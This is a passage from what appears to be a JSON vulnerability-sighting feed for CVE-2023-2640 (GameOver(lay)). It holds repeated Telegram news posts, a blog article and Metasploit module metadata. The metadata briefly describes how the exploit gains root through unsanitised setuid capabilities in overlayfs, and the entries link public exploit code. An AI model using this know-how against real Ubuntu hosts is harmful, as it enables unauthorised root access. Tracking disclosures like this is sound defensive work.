\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Ubuntu", "creation_timestamp": "2026-07-27T00:00:59.409330Z"}, {"uuid": "4dcde446-fe87-4246-9c68-203fc199f969", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/EchelonEyes/1791", "content": "GameOver(lay): \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Linux \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Ubuntu\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Wiz \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0434\u0432\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Ubuntu, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 40% \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Ubuntu. \n\n\u00ab\u0417\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Ubuntu \u043f\u0440\u0435\u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0442 \u0432 \u043e\u0431\u043b\u0430\u043a\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0438 \u0441\u043b\u0443\u0436\u0430\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043b\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 [\u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433]\u00bb, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u043e\u0442\u0447\u0435\u0442\u0435 Wiz.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u043a\u0430\u043a CVE-2023-32629 \u0438 CVE-2023-2640 (\u0443 \u043e\u0431\u0435\u0438\u0445 \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,8), \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c GameOver(lay), \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 OverlayFS \u0438 \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, \u0447\u0442\u043e \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. Overlay Filesystem \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0440\u0435\u0432\u044c\u0435\u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0432 \u0435\u0434\u0438\u043d\u0443\u044e \u0443\u043d\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b Ubuntu 24 \u0438\u044e\u043b\u044f 2023 \u0433\u043e\u0434\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442 \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u044f\u0434\u0440\u0435 Linux, \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u044b\u0435 Ubuntu, \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u043d\u0435\u043f\u0440\u0435\u0434\u0432\u0438\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Ubuntu", "creation_timestamp": "2026-07-28T00:00:24.269630Z"}, {"uuid": "deacd3c9-56dc-4e81-a1c9-6d24596e8ca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/Hackme_news/807", "content": "\ud83d\udea8\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 #Ubuntu ! \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 #Linux \u0432 \u044f\u0434\u0440\u0435 Ubuntu, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439! \u0423\u0437\u043d\u0430\u0439\u0442\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 GameOver(lay) CVE-2023-32629 \u0438 CVE-2023-2640: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability", "creation_timestamp": "2026-09-01T17:00:07.954499Z"}, {"uuid": "61f0d94b-015f-4c26-ab47-0f83309a4ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/cissp/7061", "content": "\ud83d\udea8 Heads up, Ubuntu users! \n \nResearchers have discovered high-severity Linux flaws in the Ubuntu kernel, affecting 40% of users! \n \nLearn about GameOver(lay) vulnerabilities CVE-2023-32629 and CVE-2023-2640: https://thehackernews.com/2023/07/gameoverlay-two-severe-linux.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1402.05.06", "creation_timestamp": "2026-09-01T17:00:18.123089Z"}, {"uuid": "bbb16aa7-3933-4e16-a6f1-cae9cfa318e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/hacking_Attack/111836", "content": "Black Hat Ethical Hacking\n40% of Ubuntu users vulnerable to new privilege elevation flaws\n\n40% of Ubuntu users vulnerable to new privilege elevation flawsPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes\nTwo recently discovered Linux vulnerabilities have raised concerns for Ubuntu users, potentially granting unprivileged local users elevated privileges on a massive number of devices. Ubuntu, a widely used Linux distribution with a significant user base of over 40 million, faces the impact of CVE-2023-32629 and CVE-2023-2640, identified by researchers from Wiz.\n\nCVE-2023-2640 is a high-severity vulnerability in the Ubuntu Linux kernel, allowing a local attacker to gain elevated privileges due to inadequate permission checks. On the other hand, CVE-2023-32629, a medium-severity flaw in the Linux kernel memory management subsystem, enables a local attacker to execute arbitrary code through a race condition when accessing VMAs, leading to use-after-free.\n\nThe root of these issues lies in discrepancies during the implementation of the OverlayFS module into the Linux kernel. OverlayFS, known for its union mount filesystem, has been targeted by threat actors in the past due to unprivileged access via user namespaces and exploitable bugs. In 2018, Ubuntu implemented custom changes to the OverlayFS module, which were considered safe.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nHowever, subsequent modifications made by the Linux kernel project in 2019 and 2022 caused conflicts with Ubuntu\u2019s changes, leading to the introduction of the two vulnerabilities in the recent widespread distribution.\n\nThe severity of the situation is further aggravated by the fact that weaponized exploits for these flaws are already publicly available, as old exploits for past OverlayFS vulnerabilities work seamlessly without any alterations.\n\nIt\u2019s important to note that only Ubuntu is affected by these highlighted flaws, and other Linux distributions, including Ubuntu forks, not using custom modifications of the OverlayFS module remain safe.\nTrending: Unlocking Windows System Resource Utilization for Digital Forensics Analysis with SRUM Dump Trending: Digital Forensics Tool: ScrapPy\nUbuntu has issued a security bulletin addressing the issues along with six additional vulnerabilities in the latest version of the Ubuntu Linux kernel. Fixing updates are readily available for users, and those unfamiliar with the process are encouraged to perform the update via their package manager, ensuring all dependencies and post-install configurations are handled. A system reboot is necessary after installing the updates to implement the Linux kernel updates effectively on Ubuntu.\nTrending: WormGPT: Unleashing the Dark Side of Generative AI for Cybercrime\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Images-for-the-News-posts-15-300x150.png SEC Mandates Rapid Cyberattack Disclosures, Companies Must Act Within 4 Business DaysJuly 27, 2023\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Images-for-the-News-posts-14-300x150.png Super Admin Privilege Vulnerability Plagues MikroTik RoutersJuly 26,[...]", "creation_timestamp": "2026-09-01T20:00:53.524540Z"}, {"uuid": "6738d703-fcb3-4f11-93c5-de0d28e4d3a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/hacking_Attack/111836", "content": "Black Hat Ethical Hacking\n40% of Ubuntu users vulnerable to new privilege elevation flaws\n\n40% of Ubuntu users vulnerable to new privilege elevation flawsPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes\nTwo recently discovered Linux vulnerabilities have raised concerns for Ubuntu users, potentially granting unprivileged local users elevated privileges on a massive number of devices. Ubuntu, a widely used Linux distribution with a significant user base of over 40 million, faces the impact of CVE-2023-32629 and CVE-2023-2640, identified by researchers from Wiz.\n\nCVE-2023-2640 is a high-severity vulnerability in the Ubuntu Linux kernel, allowing a local attacker to gain elevated privileges due to inadequate permission checks. On the other hand, CVE-2023-32629, a medium-severity flaw in the Linux kernel memory management subsystem, enables a local attacker to execute arbitrary code through a race condition when accessing VMAs, leading to use-after-free.\n\nThe root of these issues lies in discrepancies during the implementation of the OverlayFS module into the Linux kernel. OverlayFS, known for its union mount filesystem, has been targeted by threat actors in the past due to unprivileged access via user namespaces and exploitable bugs. In 2018, Ubuntu implemented custom changes to the OverlayFS module, which were considered safe.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nHowever, subsequent modifications made by the Linux kernel project in 2019 and 2022 caused conflicts with Ubuntu\u2019s changes, leading to the introduction of the two vulnerabilities in the recent widespread distribution.\n\nThe severity of the situation is further aggravated by the fact that weaponized exploits for these flaws are already publicly available, as old exploits for past OverlayFS vulnerabilities work seamlessly without any alterations.\n\nIt\u2019s important to note that only Ubuntu is affected by these highlighted flaws, and other Linux distributions, including Ubuntu forks, not using custom modifications of the OverlayFS module remain safe.\nTrending: Unlocking Windows System Resource Utilization for Digital Forensics Analysis with SRUM Dump Trending: Digital Forensics Tool: ScrapPy\nUbuntu has issued a security bulletin addressing the issues along with six additional vulnerabilities in the latest version of the Ubuntu Linux kernel. Fixing updates are readily available for users, and those unfamiliar with the process are encouraged to perform the update via their package manager, ensuring all dependencies and post-install configurations are handled. A system reboot is necessary after installing the updates to implement the Linux kernel updates effectively on Ubuntu.\nTrending: WormGPT: Unleashing the Dark Side of Generative AI for Cybercrime\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Images-for-the-News-posts-15-300x150.png SEC Mandates Rapid Cyberattack Disclosures, Companies Must Act Within 4 Business DaysJuly 27, 2023\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Images-for-the-News-posts-14-300x150.png Super Admin Privilege Vulnerability Plagues MikroTik RoutersJuly 26,[...]", "creation_timestamp": "2026-09-02T01:01:13.928767Z"}, {"uuid": "e88d6a70-3669-4c04-af3d-8b591f3492ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/Hackme_news/807", "content": "\ud83d\udea8\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 #Ubuntu ! \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 #Linux \u0432 \u044f\u0434\u0440\u0435 Ubuntu, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439! \u0423\u0437\u043d\u0430\u0439\u0442\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 GameOver(lay) CVE-2023-32629 \u0438 CVE-2023-2640: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability", "creation_timestamp": "2026-09-02T01:03:36.438419Z"}, {"uuid": "b07e6b4f-9188-455f-a238-e66772a6af93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/cissp/7061", "content": "\ud83d\udea8 Heads up, Ubuntu users! \n \nResearchers have discovered high-severity Linux flaws in the Ubuntu kernel, affecting 40% of users! \n \nLearn about GameOver(lay) vulnerabilities CVE-2023-32629 and CVE-2023-2640: https://thehackernews.com/2023/07/gameoverlay-two-severe-linux.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1402.05.06", "creation_timestamp": "2026-09-02T01:03:57.380721Z"}, {"uuid": "fd926570-3a4c-4236-8469-71625b179227", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "exploited", "source": "https://t.me/hacking_Attack/111836", "content": "Black Hat Ethical Hacking\n40% of Ubuntu users vulnerable to new privilege elevation flaws\n\n40% of Ubuntu users vulnerable to new privilege elevation flawsPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes\nTwo recently discovered Linux vulnerabilities have raised concerns for Ubuntu users, potentially granting unprivileged local users elevated privileges on a massive number of devices. Ubuntu, a widely used Linux distribution with a significant user base of over 40 million, faces the impact of CVE-2023-32629 and CVE-2023-2640, identified by researchers from Wiz.\n\nCVE-2023-2640 is a high-severity vulnerability in the Ubuntu Linux kernel, allowing a local attacker to gain elevated privileges due to inadequate permission checks. On the other hand, CVE-2023-32629, a medium-severity flaw in the Linux kernel memory management subsystem, enables a local attacker to execute arbitrary code through a race condition when accessing VMAs, leading to use-after-free.\n\nThe root of these issues lies in discrepancies during the implementation of the OverlayFS module into the Linux kernel. OverlayFS, known for its union mount filesystem, has been targeted by threat actors in the past due to unprivileged access via user namespaces and exploitable bugs. In 2018, Ubuntu implemented custom changes to the OverlayFS module, which were considered safe.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nHowever, subsequent modifications made by the Linux kernel project in 2019 and 2022 caused conflicts with Ubuntu\u2019s changes, leading to the introduction of the two vulnerabilities in the recent widespread distribution.\n\nThe severity of the situation is further aggravated by the fact that weaponized exploits for these flaws are already publicly available, as old exploits for past OverlayFS vulnerabilities work seamlessly without any alterations.\n\nIt\u2019s important to note that only Ubuntu is affected by these highlighted flaws, and other Linux distributions, including Ubuntu forks, not using custom modifications of the OverlayFS module remain safe.\nTrending: Unlocking Windows System Resource Utilization for Digital Forensics Analysis with SRUM Dump Trending: Digital Forensics Tool: ScrapPy\nUbuntu has issued a security bulletin addressing the issues along with six additional vulnerabilities in the latest version of the Ubuntu Linux kernel. Fixing updates are readily available for users, and those unfamiliar with the process are encouraged to perform the update via their package manager, ensuring all dependencies and post-install configurations are handled. A system reboot is necessary after installing the updates to implement the Linux kernel updates effectively on Ubuntu.\nTrending: WormGPT: Unleashing the Dark Side of Generative AI for Cybercrime\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Images-for-the-News-posts-15-300x150.png SEC Mandates Rapid Cyberattack Disclosures, Companies Must Act Within 4 Business DaysJuly 27, 2023\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Images-for-the-News-posts-14-300x150.png Super Admin Privilege Vulnerability Plagues MikroTik RoutersJuly 26,[...]", "creation_timestamp": "2026-09-04T10:00:04.979010Z"}, {"uuid": "536a5f93-8314-4cc3-831d-576487b1c71b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "exploited", "source": "https://t.me/hacking_Attack/111836", "content": "Black Hat Ethical Hacking\n40% of Ubuntu users vulnerable to new privilege elevation flaws\n\n40% of Ubuntu users vulnerable to new privilege elevation flawsPost Views: 1 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes\nTwo recently discovered Linux vulnerabilities have raised concerns for Ubuntu users, potentially granting unprivileged local users elevated privileges on a massive number of devices. Ubuntu, a widely used Linux distribution with a significant user base of over 40 million, faces the impact of CVE-2023-32629 and CVE-2023-2640, identified by researchers from Wiz.\n\nCVE-2023-2640 is a high-severity vulnerability in the Ubuntu Linux kernel, allowing a local attacker to gain elevated privileges due to inadequate permission checks. On the other hand, CVE-2023-32629, a medium-severity flaw in the Linux kernel memory management subsystem, enables a local attacker to execute arbitrary code through a race condition when accessing VMAs, leading to use-after-free.\n\nThe root of these issues lies in discrepancies during the implementation of the OverlayFS module into the Linux kernel. OverlayFS, known for its union mount filesystem, has been targeted by threat actors in the past due to unprivileged access via user namespaces and exploitable bugs. In 2018, Ubuntu implemented custom changes to the OverlayFS module, which were considered safe.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nHowever, subsequent modifications made by the Linux kernel project in 2019 and 2022 caused conflicts with Ubuntu\u2019s changes, leading to the introduction of the two vulnerabilities in the recent widespread distribution.\n\nThe severity of the situation is further aggravated by the fact that weaponized exploits for these flaws are already publicly available, as old exploits for past OverlayFS vulnerabilities work seamlessly without any alterations.\n\nIt\u2019s important to note that only Ubuntu is affected by these highlighted flaws, and other Linux distributions, including Ubuntu forks, not using custom modifications of the OverlayFS module remain safe.\nTrending: Unlocking Windows System Resource Utilization for Digital Forensics Analysis with SRUM Dump Trending: Digital Forensics Tool: ScrapPy\nUbuntu has issued a security bulletin addressing the issues along with six additional vulnerabilities in the latest version of the Ubuntu Linux kernel. Fixing updates are readily available for users, and those unfamiliar with the process are encouraged to perform the update via their package manager, ensuring all dependencies and post-install configurations are handled. A system reboot is necessary after installing the updates to implement the Linux kernel updates effectively on Ubuntu.\nTrending: WormGPT: Unleashing the Dark Side of Generative AI for Cybercrime\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSource: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2023/03/Store.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Images-for-the-News-posts-15-300x150.png SEC Mandates Rapid Cyberattack Disclosures, Companies Must Act Within 4 Business DaysJuly 27, 2023\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2023/07/Images-for-the-News-posts-14-300x150.png Super Admin Privilege Vulnerability Plagues MikroTik RoutersJuly 26,[...]", "creation_timestamp": "2026-09-05T01:00:32.431544Z"}, {"uuid": "602fc39f-a9e0-4656-a10b-19bbe95e6adc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/gameoverlay_privesc.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"aarch64, x64, cmd\", \"author\": [\"g1vi\", \"h00die\", \"bwatters-r7\", \"gardnerapp\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits the use of unsafe functions in a number of Ubuntu kernels\\n          utilizing vulnerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux\\n          kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent\\n          changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is\\n          called during ovl_do_setxattr without calling the intermediate safety function\\n          vfs_setxattr. Ultimatly this module allows for root access to be achieved by\\n          writing setuid capabilities to a file which are not sanitized after being unioned\\n          with the upper mounted directory.\", \"disclosure_date\": \"2023-07-26\", \"fullname\": \"exploit/linux/local/gameoverlay_privesc\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:57:34 +0000\", \"name\": \"GameOver(lay) Privilege Escalation and Container Escape\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/local/gameoverlay_privesc.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"linux/local/gameoverlay_privesc\", \"references\": [\"URL-https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/\", \"URL-https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629\", \"URL-https://www.cvedetails.com/cve/CVE-2023-2640/\", \"URL-https://www.cvedetails.com/cve/CVE-2023-32629/\", \"URL-https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability\", \"CVE-2023-32629\", \"CVE-2023-2640\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Linux_Binary\", \"Linux_Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:49:08.015641Z"}, {"uuid": "52a1cda0-de4d-432b-894d-157faf1c2c94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/Hackme_news/807", "content": "\ud83d\udea8\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 #Ubuntu ! \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 #Linux \u0432 \u044f\u0434\u0440\u0435 Ubuntu, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0435 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439! \u0423\u0437\u043d\u0430\u0439\u0442\u0435 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 GameOver(lay) CVE-2023-32629 \u0438 CVE-2023-2640: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability", "creation_timestamp": "2026-09-08T23:00:04.249803Z"}, {"uuid": "9a9d5c15-8a5f-4cde-8fc8-e4968eee4e49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/Hackme_news/807", "content": "\ud83d\udea8\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 #Ubuntu ! \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 #Linux \u0432 \u044f\u0434\u0440\u0435 Ubuntu, 